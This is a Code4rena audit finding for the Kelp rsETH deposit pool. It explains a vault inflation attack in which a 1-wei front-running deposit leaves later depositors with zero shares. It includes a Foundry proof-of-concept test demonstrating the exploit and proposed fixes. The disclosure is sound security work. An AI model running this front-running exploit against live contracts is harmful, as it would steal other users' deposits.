Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L78

Vulnerability details

Summary

There is currently no mitigation strategy in place to prevent vault inflation attacks, where initial front-running depositor can deposit as low as 1 wei, and corner the total rsEthSupply. Subsequent depositors, regardless of how much they deposit will we minted 0 shares of rsETH.

Currently transactions are still successful if victims are minted 0 shares for say, a 10,000 stETH deposit. Furthermore, donations can be made to the Deposit pool or node delegator contracts, to increase the efficacy of the attack further as donations manipulate the price of rsETH upwards. Although it is worth noting that in this attack vector, unlike traditional 4626 inflation attacks, a donation isn't even required, as we will see below.

Vulnerability Details

An attacker can deposit as low as 1 wei, which mints 1 wei of rsETH, as the initial price of rsETH is set at a default of 1 ether. It is demonstrated below that regardless of the size of subsequent user deposits (across any approved asset), it is mathematically impossible to mint non-zero shares. Thus the initial attacker has 100% claim on rsETH supply and can redeem the total arbitrary amount of victim's funds, as they are all minted 0 shares:

Assume attacker deposits 1 wei, then subsequent users will receive a price of:

rsETHprice = totalETHInPool / rsETHSupply

Note - totalETHInPool is increased by the current user's deposit, but rsETHSupply hasn't been updated yet, as no new mint

The user depositing amount of approved assets is minted shares of rsETH in accordance with the following equation from LRTDepositPool:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109

Given Solidity division rounding, for rsethAmountToMint > 0, the following must be satisfied (assuming stETH/ETH price is at parity, i.e. 1 ether), and attacker deposit of 1 wei (so 1 wei stETH supply, and 1 wei rsETH supply):

amount * lrtOracle.getAssetPrice(asset) >= lrtOracle.getRSETHPrice()

amount * lrtOracle.getAssetPrice(asset) >= totalETHInPool / rsETHSupply

amount * lrtOracle.getAssetPrice(asset) >= (amount + 1 wei) * 1e18 / (1 wei)  

amount * 1e18 >= (amount + 1 wei) * 1e18 / (1 wei)

amount * 1e18 >= (amount + 1 wei) * 1e18        # Cancelling 1e18 from both sides

amount >= (amount + 1 wei)

Thus we can see from above, when an attacker deposits 1 wei initially by front-running other users, it is mathematically impossible for any subsequent user to mint non-zero shares, regardless of how much approved asset they deposit. Subsequent deposits simply act as donations to the attacker, who commandeered the total rsETH supply for a cost of 1 wei + gas. This exact attack is demonstrated in the PoC below.

Also, because the price of rsETH is determined by the ratio of stETH in the deposit pool, node delegators and Eigenlayer strategy to the supply of rsETH, the price of rsETH can further be manipulated upwards to the detriment of subsequent depositors by donations. Although Eigenlayer's strategy contracts already employ virtual offsets to mitigate this risk, so in this protocol, the deposit pool and node delegators are the biggest risk for donations and hence rsETH price manipulation.

Tools Used

Foundry

PoC

The following PoC adds test_InflationAttack to the LRTDepositPoolDepositAsset test suite. However it is important to note that the LRTDepositPoolTest setup has been modified to replace the mock LRTOracle with an instance of the protocol's actual LRTOracle. This is important, because this is what reflects reality.

diff --git a/test/LRTDepositPoolTest.t.sol b/test/LRTDepositPoolTest.t.sol
index 40abc93..0ead398 100644
--- a/test/LRTDepositPoolTest.t.sol
+++ b/test/LRTDepositPoolTest.t.sol
@@ -6,10 +6,21 @@ import { BaseTest } from "./BaseTest.t.sol";
 import { LRTDepositPool } from "src/LRTDepositPool.sol";
 import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
 import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
+import { LRTOracle } from "src/LRTOracle.sol";
+import { console } from "forge-std/console.sol";
+import { Vm } from "forge-std/Vm.sol";

 import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
 import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

+
+contract MockPriceOracle {
+    function getAssetPrice(address) external pure returns (uint256) {
+        return 1 ether;
+    }
+}
+
+
 contract LRTOracleMock {
     function getAssetPrice(address) external pure returns (uint256) {
         return 1e18;
@@ -28,6 +39,8 @@ contract MockNodeDelegator {

 contract LRTDepositPoolTest is BaseTest, RSETHTest {
     LRTDepositPool public lrtDepositPool;
+    LRTOracle public lrtOracle;
+    address public managerOracle;

     function setUp() public virtual override(RSETHTest, BaseTest) {
         super.setUp();
@@ -49,11 +62,30 @@ contract LRTDepositPoolTest is BaseTest, RSETHTest {
         // add rsETH to LRT config
         lrtConfig.setRSETH(address(rseth));
         // add oracle to LRT config
-        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracleMock()));
-
+        //lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracleMock()));
+        ProxyAdmin proxyAdminOracle = new ProxyAdmin();
+        LRTOracle lrtOracleImpl = new LRTOracle();
+        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
+            address(lrtOracleImpl),
+            address(proxyAdminOracle),
+            ""
+        );
+        lrtOracle = LRTOracle(address(lrtOracleProxy));
+        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
+        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
+        MockPriceOracle priceOracle = new MockPriceOracle();
         // add minter role for rseth to lrtDepositPool
         rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));
+        managerOracle = makeAddr("managerOracle");
+        lrtConfig.grantRole(LRTConstants.MANAGER, managerOracle);
+        lrtOracle.initialize(address(lrtConfig));
+        vm.stopPrank();

+        vm.startPrank(managerOracle);
+        // All assets are required in this file
+        lrtOracle.updatePriceOracleFor(address(rETH), address(priceOracle));
+        lrtOracle.updatePriceOracleFor(address(stETH), address(priceOracle));
+        lrtOracle.updatePriceOracleFor(address(cbETH), address(priceOracle));
         vm.stopPrank();
     }
 }
@@ -144,6 +176,96 @@ contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
         );
         assertGt(aliceBalanceAfter, aliceBalanceBefore, "Alice balance is not set");
     }
+
+    // Bob is inflation attacker in this test
+    function test_InflationAttack() external {
+        console.log("Total supply of rseth before attack: %d ether", rseth.totalSupply() / 1e18);
+        console.log("Total supply of stETH before attack: %d ether", stETH.totalSupply() / 1e18);
+        console.log("Total supply of rETH before attack: %d ether", rETH.totalSupply() / 1e18);
+
+        uint256 aliceBalanceBeforeRseth = rseth.balanceOf(address(alice));
+        uint256 carolBalanceBeforeRseth = rseth.balanceOf(address(carol));
+        uint256 bobBalanceBeforeRseth = rseth.balanceOf(address(bob));
+
+        uint256 aliceBalanceBeforeSteth = stETH.balanceOf(address(alice));
+        uint256 carolBalanceBeforeRETH = rETH.balanceOf(address(carol));
+        uint256 bobBalanceBeforeSteth = stETH.balanceOf(address(bob));
+
+        console.log("Alice balance before - rseth: %d ether", aliceBalanceBeforeRseth / 1e18);
+        console.log("Carol balance before - rseth: %d ether", carolBalanceBeforeRseth / 1e18);
+        console.log("Bob balance before - rseth: %d ether", bobBalanceBeforeRseth / 1e18);
+        
+        console.log("Alice balance before - stETH: %d ether", aliceBalanceBeforeSteth / 1e18);
+        console.log("Carol balance before - rETH: %d ether", carolBalanceBeforeRETH / 1e18);
+        console.log("Bob balance before - stETH: %d ether", bobBalanceBeforeSteth / 1e18);
+
+        uint256 bobDeposit = 1 wei;     // Bob will deposit stETH
+        uint256 aliceDeposit = 10000 ether;     // Alice will deposit stETH
+        uint256 carolDeposit = 10000 ether;     // Carol will deposit rETH
+        //uint256 bobDonation = 1 ether;
+
+        // alice and carol approve stETH and rETH respectively
+        vm.prank(alice);
+        stETH.approve(address(lrtDepositPool), aliceDeposit);
+        vm.prank(carol);
+        rETH.approve(address(lrtDepositPool), carolDeposit);
+        // bob only approves what he needs to deposit
+        vm.prank(bob);
+        stETH.approve(address(lrtDepositPool), bobDeposit);
+
+        // Price RsETH/ETH is 1 as supply is 0
+        uint256 oldRsethPrice = lrtOracle.getRSETHPrice() / 1e18;
+        console.log("Current price of Rseth/ETH is: %d ether", oldRsethPrice);
+
+        console.log("--------------Attack---------------");
+        // alice's stETH deposit is front-run by Bob
+        vm.prank(bob);
+        console.log("Bob front-runs Alice's %d ether deposit with his 1 wei deposit", aliceDeposit / 1e18);
+        lrtDepositPool.depositAsset(address(stETH), bobDeposit);
+        console.log("Current price of Rseth/ETH is: %d", lrtOracle.getRSETHPrice());
+        assertEq(rseth.balanceOf(address(bob)), bobDeposit);
+        assertEq(rseth.totalSupply(), bobDeposit);
+        assertEq(stETH.balanceOf(address(lrtDepositPool)), bobDeposit);
+        
+        // Bob donates to the deposit pool -> Can be toggled on or off
+        /*console.log("Bob donates %d stETH to deposit pool", bobDonation / 1e18);
+        vm.prank(bob);
+        stETH.transfer(address(lrtDepositPool), bobDonation);
+        assertEq(stETH.balanceOf(address(lrtDepositPool)), bobDeposit + aliceDeposit + bobDonation);
+        console.log("Current price of Rseth/ETH is: %d", lrtOracle.getRSETHPrice());*/
+        
+        vm.prank(alice);
+        vm.recordLogs();
+        lrtDepositPool.depositAsset(address(stETH), aliceDeposit);
+        console.log("Alice deposits %d stETH", aliceDeposit / 1e18);
+        Vm.Log[] memory entries = vm.getRecordedLogs();
+        console.log("Current price of Rseth/ETH is: %d", lrtOracle.getRSETHPrice());
+        console.log("Alice balance after - rseth: %d", rseth.balanceOf(address(alice)));
+        assertEq(rseth.balanceOf(address(alice)), 0);
+        assertEq(entries[entries.length - 1].topics[0], keccak256("AssetDeposit(address,uint256,uint256)"));
+        (address depositAsset, uint256 depositAmount, uint256 rsethMinted) = abi.decode(entries[entries.length - 1].data, (address, uint256, uint256));
+        assertEq(depositAsset, address(stETH));
+        assertEq(depositAmount, aliceDeposit);
+        assertEq(rsethMinted, 0);
+
+        vm.prank(carol);
+        vm.recordLogs();
+        lrtDepositPool.depositAsset(address(rETH), carolDeposit);
+        console.log("Carol deposits %d rETH", carolDeposit / 1e18);
+        entries = vm.getRecordedLogs();
+        console.log("Current price of Rseth/ETH is: %d", lrtOracle.getRSETHPrice());
+        console.log("Carol balance after - rseth: %d", rseth.balanceOf(address(carol)));
+        assertEq(rseth.balanceOf(address(carol)), 0);
+        assertEq(entries[entries.length - 1].topics[0], keccak256("AssetDeposit(address,uint256,uint256)"));
+        (depositAsset, depositAmount, rsethMinted) = abi.decode(entries[entries.length - 1].data, (address, uint256, uint256));
+        assertEq(depositAsset, address(rETH));
+        assertEq(depositAmount, carolDeposit);
+        assertEq(rsethMinted, 0);
+        console.log("--------------Conclusion---------------");
+        console.log("Total supply of rseth after attack: %d", rseth.totalSupply());
+        console.log("Attacker bob's rseth balance after attack: %d", rseth.balanceOf(address(bob)));
+        console.log("Attacker bob owns %d percent of rseth for %d wei deposit mapping to %d ether in deposit pool", 100 * rseth.balanceOf(address(bob)) / rseth.totalSupply(),  bobDeposit, (stETH.balanceOf(address(lrtDepositPool)) + rETH.balanceOf(address(lrtDepositPool)))  / 1e18);
+    }
 }

 contract LRTDepositPoolGetRsETHAmountToMint is LRTDepositPoolTest {
@@ -154,7 +276,6 @@ contract LRTDepositPoolGetRsETHAmountToMint is LRTDepositPoolTest {

         // initialize LRTDepositPool
         lrtDepositPool.initialize(address(lrtConfig));
-
         rETHAddress = address(rETH);

         // add manager role within LRTConfig

Impact

Users can deposit to the vault, but will be minted 0 rsETH shares. The entire supply of rsETH is controlled by the attacker, and thus 100% of all victim's funds can be stolen by the attacker.

Recommendations

There are 2 recommended solutions.

The first is to revert transactions that mint 0 shares. This prevents users from donating to the attacker, however it still renders the vault unusable (as users mathematically can't mint non-zero shares, as demonstrated above).

diff --git a/src/LRTDepositPool.sol b/src/LRTDepositPool.sol
index 29ea4d2..c5b0c32 100644
--- a/src/LRTDepositPool.sol
+++ b/src/LRTDepositPool.sol
@@ -21,6 +21,8 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad

     address[] public nodeDelegatorQueue;

+    error MintAmountIsZero();
+
     /// @custom:oz-upgrades-unsafe-allow constructor
     constructor() {
         _disableInitializers();
@@ -107,6 +109,9 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad

         // calculate rseth amount to mint based on asset amount and asset exchange rate
         rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
+        if (rsethAmountToMint == 0) {
+            revert MintAmountIsZero();
+        }
     }

     /*//////////////////////////////////////////////////////////////

The second solution is to use already applied solutions for 4626 vault inflation attacks. A BALANCE_OFFSET can be used on the approved asset supply, to reduce the effect of donation attacks. However for the main attack demonstrated above, just a SHARE_OFFSET is sufficient. Depending on the value of SHARE_OFFSET, this can greatly increase the cost of the attack demonstrated above, and prevents the situation where victims are minted 0 shares and effectively donate to the attacker. An example implementation of this is given below:

diff --git a/src/LRTOracle.sol b/src/LRTOracle.sol
index 48c981a..54ac8ab 100644
--- a/src/LRTOracle.sol
+++ b/src/LRTOracle.sol
@@ -4,6 +4,7 @@ pragma solidity 0.8.21;
 import { UtilLib } from "./utils/UtilLib.sol";
 import { LRTConstants } from "./utils/LRTConstants.sol";
 import { LRTConfigRoleChecker, ILRTConfig } from "./utils/LRTConfigRoleChecker.sol";
+import {console} from "forge-std/console.sol";

 import { IRSETH } from "./interfaces/IRSETH.sol";
 import { IPriceFetcher } from "./interfaces/IPriceFetcher.sol";
@@ -19,6 +20,9 @@ import { PausableUpgradeable } from "@openzeppelin/contracts-upgradeable/securit
 contract LRTOracle is ILRTOracle, LRTConfigRoleChecker, PausableUpgradeable {
     mapping(address asset => address priceOracle) public override assetPriceOracle;

+    uint256 public constant SHARES_OFFSET = 1e18;
+    //uint256 public constant BALANCE_OFFSET = 1e18;
+
     /// @custom:oz-upgrades-unsafe-allow constructor
     constructor() {
         _disableInitializers();
@@ -59,23 +63,19 @@ contract LRTOracle is ILRTOracle, LRTConfigRoleChecker, PausableUpgradeable {

         uint256 totalETHInPool;
         address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);
-
         address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
         uint256 supportedAssetCount = supportedAssets.length;

         for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
             address asset = supportedAssets[asset_idx];
             uint256 assetER = getAssetPrice(asset);
-
             uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
             totalETHInPool += totalAssetAmt * assetER;
-
             unchecked {
                 ++asset_idx;
             }
         }
-
-        return totalETHInPool / rsEthSupply;
+        return totalETHInPool / (rsEthSupply + SHARES_OFFSET);
     }

     /*//////////////////////////////////////////////////////////////

The efficacy of this solution can be verified against the PoC test, where attacker Bob ends up with ~0% rsETH supply, as opposed to the initial scenario of 100%.

Assessed type

Token-Transfer

code-423n4 / 2023-11-kelp-findings

Deposit Pool Vulnerable to 4626-style Vault Inflation Attack - Users Will Lose ALL Funds #257